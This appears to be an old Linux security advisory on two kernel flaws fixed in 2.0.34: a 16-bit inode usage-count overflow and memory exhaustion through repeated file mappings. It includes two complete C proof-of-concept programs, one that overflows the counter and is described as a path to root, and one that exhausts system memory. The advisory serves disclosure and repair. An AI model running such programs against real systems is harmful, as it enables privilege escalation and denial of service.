COMMAND
i_count Overflow Security Hole
SYSTEMS AFFECTED
Linux
PROBLEM
Jan Kotas found following two nasty things in Linux sources.
Member i_count in struct inode contains the usage count. It is of
type unsigned short, which is only 16-bit long on i386.
Unfortunately, it is not enough. You can make it overflow by
mapping one file many times (Warning: This program will cause
unpredictable behavior of the whole system!):
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
void main()
{
int fd, i;
fd = open("/lib/libc.so.5", O_RDONLY);
for(i = 0; i < 65540; i++)
{
mmap((char*)0x50000000 + (0x1000 * i), 0x1000,
PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
}
}
While killing this program kernel will print many messages:
VFS: iput: trying to free free inode
After executing the program, there will be free inode which is
actually mapped in other processes. The only think you need to
grab root privileges is opening your modified libc in original
inode and making system to use it. It is a little tricky magic
with inode cache and memory manager.
Second problem can crash system by eating up your memory. This
topic is related to previous one. The Linux memory manager
allocates small chunk (64 bytes) of memory for every file mapping.
By mapping one file many times, a process can eat all available
memory and actually stop the system responding even for root. You
can do it by executing one or more instances of program like this
(Warning: This program will cause unpredictable behavior of the
whole system!):
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdio.h>
void main()
{
int fd, i;
char *name;
char *address;
name = tmpnam(NULL);
fd = open(name, O_RDWR | O_CREAT);
unlink(name);
address = (char*)0x1000;
for(i = 0; ; i++)
{
/* skip program interpreter */
if(address == (char*)0x08000000) address = (char*)0x09000000;
else
/* skip program itself */
if(address == (char*)0x40000000) address = (char*)0x41000000;
else
/* skip program stack and kernel */
if(address == (char*)0xBF000000) break;
if(mmap(address, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == (void*)
-1)
break;
if(!(i&0xFFF)) fprintf(stderr, "%d done\n", i);
address += 0x1000;
}
fprintf(stderr, "%i (%08x) total, press Ctrl+C\n", i, address);
for(;;) pause();
}
Every instance of the program will eat about 32MB of RAM if
running in typical Linux configuration. Although you can avoid
users to eat resources this way by setting resource limits
properly this effect can be considered to be a Linux bug. Linux
is protected to avoid allocating all process slots by normal
users. There are reserved MIN_TASKS_LEFT_FOR_ROOT slots for
root. So there should be also protection to avoid allocating all
memory by normal users.
SOLUTION
Making i_count unsigned long fixes this. Both issues are fixed
in 2.0.34.